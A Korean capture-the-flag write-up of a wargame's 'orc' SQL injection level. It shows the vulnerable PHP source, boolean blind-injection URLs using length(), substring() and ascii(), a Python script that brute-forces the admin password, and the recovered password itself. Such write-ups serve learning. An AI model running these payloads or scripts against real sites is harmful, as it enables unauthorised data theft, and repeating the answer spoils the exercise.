<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
이 문제는 처음 보는 사람은 매우 당황 할 수 도 있다. 기존의 문제처럼은 해결이 안 되기 때문이다.
5번째 줄부터 9번째 줄까지를 첫 번째 쿼리문 10번째 줄부터 13번쨰 줄까지를 두 번째 쿼리문이라고 하면 첫 번째 쿼리문 통과까지는 기존의 인젝션 공격으로 우회 가능하나 두 번째 쿼리문에서 막히게 된다.
특히 두 번째 쿼리문에서 마지막 줄을 보게 되면 두 번째 쿼리문 시작에서 get 방식으로 받은 초기pw
값에 addslash()
를 거친 pw
값이 존재해야 하고 초기 pw
값과 값이 같아야 한다.
따라서 한마디로 비밀번호를 직접 찾지 않는 이상 해결이 많이 힘들 거 같다.
이런 경우 우리는 블라인드 SQL 인젝션을 이용할 수 있다.
첫 번째 쿼리문의 결과를 이용하여 비밀번호의 길이를 알아내고 각각의 자릿수를 찾아낼 수 있다.
먼저 비밀번호를 찾기 전에 비밀번호가 몇 자리인지를 먼저 알아내야 한다.
MySQL
에 존재하는 length()
라는 함수를 이용하면 pw
의 길이를 알아낼 수 있다.
따라서 길이를 알아내려면 기존과 같이 or
로 연결하고 length(pw)= (랜덤 숫자)
를 참으로 만들면 페이지에 hello admin
이라고 나오게 되는데 이 반응을 보고 비밀번호를 찾으면 된다.
따라서 해보면
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27||length(pw)=%278
에서 참값이 나온 것을 알 수 있다. 따라서 비밀번호는 8자리이다.
이제 8자리 비밀번호에서 한자리 한 자리 찾아야 한다
substring
이라는 함수를 이용하면 문자열에서 한 글자씩 자를 수 있다.
하지만 MySQL
문법상 대문자와 소문자가 구별이 안 된다. 하지만 PHP
상에서 검사를 할 때는 대소문자를 구별한다. 따라서 이 점을 명심해야 한다. 이런 경우 ascii()
함수를 이용하여 대소문자의 구별이 가능하다.
한마디로 pw
파라미터에 ascii(substring(pw,1,1))
값을 한 개씩 찾아 나가면 된다는 소리다. 참의 판단은 hello admin
의 유무로 판단하면 된다.
이걸 직접 노가다로 구해도 되지만 이왕 머리 쓰는 거 좀 더 써서 파이썬으로 자동화를 하면
# -*- coding: utf-8 -*-
import urllib.request
answer = ""
user_agent = "MMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
for i in range(1, 9): #비번 길이가 8
try:
for j in range(33, 128): #출력 가능한 아스키 코드의 범위(나머지는 NULL같은 제어문자)
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=a%27+or+id%3d%27admin%27+and+ascii(substring(pw,'
url = url + str(i) + ',1))=' + str(j) + '--+'
print(url)
req = urllib.request.Request(url) #url 입력하고 엔터 치기전 상태
req.add_header('User-agent', user_agent) #헤더값 추가(안하면 los가 뱉어내서 추가함)
req.add_header("Cookie", "PHPSESSID=세션쿠키값") #헤더값 추가 (로그인 계정 파악용)
res = urllib.request.urlopen(req) #위에 url 입력한 상태에 해더 추가하고 엔터 누른 효과
data = res.read().decode('utf-8') #본문 가저와서 data에 utf-8로 저장 (utf-8 안쓰면 한국어가 깨질 수 있음)
if data.find('<h2>Hello admin</h2>') != -1: #본문에서 hello admin 찾으면 (아래 소스 코드의 hello admin과의 구별을 위하여 <h2>태그까지 적음)
print(chr(j)) #숫자를 아스키 코드에 매칭되는 문자로 바꾸고 출력
answer = answer + chr(j) #정답에 한글자씩 추가
break #반복문 탈출
except Exception as e:
continue
print(answer)
위와 같은 코드가 나온다.
여기에서 세션 쿠키값은 여기에서 보면 된다.
user_agent
값은 구글에 찾아보면 바로 나온다.
코드에 관하여 설명은 주석을 달아놨다.
위와 같은 코드를 돌려보면 비밀번호는 095a9852
가 나온다.
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852